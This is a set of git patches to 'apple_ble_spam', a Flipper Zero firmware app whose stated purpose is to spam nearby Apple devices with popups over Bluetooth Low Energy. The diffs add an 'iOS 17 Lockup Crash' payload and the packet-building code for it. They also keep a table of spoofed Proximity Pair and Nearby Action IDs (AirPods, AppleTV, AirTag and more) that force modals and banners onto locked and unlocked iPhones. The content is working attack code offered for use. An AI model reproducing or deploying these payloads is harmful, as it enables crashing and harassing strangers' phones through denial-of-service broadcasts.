--git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h index 01a53364c7..0437f58340 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h @@ -18,6 +18,8 @@ typedef enum { ContinuityTypeTetheringSource = 0x0E, ContinuityTypeNearbyAction = 0x0F, ContinuityTypeNearbyInfo = 0x10, + + ContinuityTypeCustomCrash, ContinuityTypeCount } ContinuityType; @@ -40,6 +42,8 @@ typedef union { } nearby_action; struct { } nearby_info; + struct { + } custom_crash; } ContinuityData; typedef struct { From 3f4e6be0a1a1496302382ea7be3b726eff5d47bf Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 1 Oct 2023 02:52:26 +0100 Subject: [PATCH 39/40] FBT snort some copium pls --- .../external/apple_ble_spam/apple_ble_spam.c | 564 +++++++++--------- 1 file changed, 283 insertions(+), 281 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 0d38c9ad00..22b5f152de 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -21,7 +21,9 @@ typedef struct { // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -static Payload payloads[] = { +static Payload + payloads[] = + { #if false {.title = "AirDrop", .text = "", @@ -184,286 +186,286 @@ static Payload payloads[] = { .data = {.nearby_info = {}}, }}, #endif - {.title = "Lockup Crash", - .text = "iOS 17, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeCustomCrash, - .data = {.custom_crash = {}}, - }}, - {.title = "Random Action", - .text = "Spam shuffle Nearby Actions", - .random = true, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, - }}, - {.title = "Random Pair", - .text = "Spam shuffle Proximity Pairs", - .random = true, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, - }}, - {.title = "AppleTV AutoFill", - .text = "Banner, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, - }}, - {.title = "AppleTV Connecting...", - .text = "Modal, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, - }}, - {.title = "Join This AppleTV?", - .text = "Modal, unlocked, spammy", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, - }}, - {.title = "AppleTV Audio Sync", - .text = "Banner, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, - }}, - {.title = "AppleTV Color Balance", - .text = "Banner, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, - }}, - {.title = "Setup New iPhone", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, - }}, - {.title = "Setup New Random", - .text = "Modal, locked, glitched", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0x40, .type = 0x09}}, - }}, - {.title = "Transfer Phone Number", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, - }}, - {.title = "HomePod Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, - }}, - {.title = "AirPods Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, - }}, - {.title = "Beats Solo 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, - }}, - {.title = "AirPods Max", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, - }}, - {.title = "Beats Flex", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, - }}, - {.title = "Airtag", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, - }}, - {.title = "Hermes Airtag", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, - }}, - {.title = "Setup New AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, - }}, - {.title = "Pair AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, - }}, - {.title = "HomeKit AppleTV Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, - }}, - {.title = "AppleID for AppleTV?", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, - }}, - {.title = "AirPods", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, - }}, - {.title = "AirPods 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, - }}, - {.title = "AirPods 3rd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, - }}, - {.title = "AirPods Pro 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, - }}, - {.title = "Powerbeats 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, - }}, - {.title = "Powerbeats Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, - }}, - {.title = "Beats Solo Pro", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, - }}, - {.title = "Beats Studio Buds", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, - }}, - {.title = "Beats X", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, - }}, - {.title = "Beats Studio 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, - }}, - {.title = "Beats Studio Pro", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, - }}, - {.title = "Beats Fit Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, - }}, - {.title = "Beats Studio Buds+", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, - }}, + {.title = "Lockup Crash", + .text = "iOS 17, locked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeCustomCrash, + .data = {.custom_crash = {}}, + }}, + {.title = "Random Action", + .text = "Spam shuffle Nearby Actions", + .random = true, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, + }}, + {.title = "Random Pair", + .text = "Spam shuffle Proximity Pairs", + .random = true, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, + }}, + {.title = "AppleTV AutoFill", + .text = "Banner, unlocked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, + }}, + {.title = "AppleTV Connecting...", + .text = "Modal, unlocked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, + }}, + {.title = "Join This AppleTV?", + .text = "Modal, unlocked, spammy", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, + }}, + {.title = "AppleTV Audio Sync", + .text = "Banner, locked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, + }}, + {.title = "AppleTV Color Balance", + .text = "Banner, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, + }}, + {.title = "Setup New iPhone", + .text = "Modal, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, + }}, + {.title = "Setup New Random", + .text = "Modal, locked, glitched", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0x40, .type = 0x09}}, + }}, + {.title = "Transfer Phone Number", + .text = "Modal, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, + }}, + {.title = "HomePod Setup", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, + }}, + {.title = "AirPods Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, + }}, + {.title = "Beats Solo 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, + }}, + {.title = "AirPods Max", + .text = "Modal, laggy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, + }}, + {.title = "Beats Flex", + .text = "Modal, laggy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, + }}, + {.title = "Airtag", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, + }}, + {.title = "Hermes Airtag", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, + }}, + {.title = "Setup New AppleTV", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, + }}, + {.title = "Pair AppleTV", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, + }}, + {.title = "HomeKit AppleTV Setup", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, + }}, + {.title = "AppleID for AppleTV?", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, + }}, + {.title = "AirPods", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, + }}, + {.title = "AirPods 2nd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, + }}, + {.title = "AirPods 3rd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, + }}, + {.title = "AirPods Pro 2nd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, + }}, + {.title = "Powerbeats 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, + }}, + {.title = "Powerbeats Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, + }}, + {.title = "Beats Solo Pro", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, + }}, + {.title = "Beats Studio Buds", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, + }}, + {.title = "Beats X", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, + }}, + {.title = "Beats Studio 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, + }}, + {.title = "Beats Studio Pro", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, + }}, + {.title = "Beats Fit Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, + }}, + {.title = "Beats Studio Buds+", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, + }}, }; #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads)) From d49ec19cfc6cb766db1743b2c1e60cf5f54461f5 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 1 Oct 2023 02:57:59 +0100 Subject: [PATCH 40/40] Add crash credits and increase version --nobuild --- applications/external/apple_ble_spam/apple_ble_spam.c | 9 +++++---- applications/external/apple_ble_spam/application.fam | 2 +- .../external/apple_ble_spam/lib/continuity/continuity.c | 4 +++- .../external/apple_ble_spam/lib/continuity/continuity.h | 1 + 4 files changed, 10 insertions(+), 6 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 22b5f152de..de6ee8b22d 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -16,6 +16,7 @@ typedef struct { // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ @@ -686,10 +687,10 @@ static void draw_callback(Canvas* canvas, void* ctx) { 48, AlignLeft, AlignTop, - "App+spam by \e#WillyJL\e# XFW\n" - "Pair codes by \e#ECTO-1A\e#\n" - "BLE docs by \e#furiousMAC\e#\n" - " Version \e#1.1\e#", + "App+Spam by \e#WillyJL\e# XFW\n" + "IDs and Crash by \e#ECTO-1A\e#\n" + "Continuity by \e#furiousMAC\e#\n" + " Version \e#1.2\e#", false); break; default: { diff --git a/applications/external/apple_ble_spam/application.fam b/applications/external/apple_ble_spam/application.fam index 4bfcfac856..4aa508e985 100644 --- a/applications/external/apple_ble_spam/application.fam +++ b/applications/external/apple_ble_spam/application.fam @@ -15,6 +15,6 @@ App( ], fap_author="@Willy-JL & @ECTO-1A", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Firmware/tree/dev/applications/external/apple_ble_spam", - fap_version="1.1", + fap_version="1.2", fap_description="Spam Apple devices with annoying popups and notifications via BLE packets", ) diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index 9d6856adc1..3e3616fb42 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -4,6 +4,7 @@ // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ @@ -139,8 +140,9 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { break; case ContinuityTypeCustomCrash: - i -= 2; // Override segment header + // Found by @ECTO-1A + i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Type packet[i++] = 0x05; // Length packet[i++] = 0xC1; // Action Flags diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h index 0437f58340..d582df7612 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.h @@ -5,6 +5,7 @@ // Hacked together by @Willy-JL // Custom adv logic by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/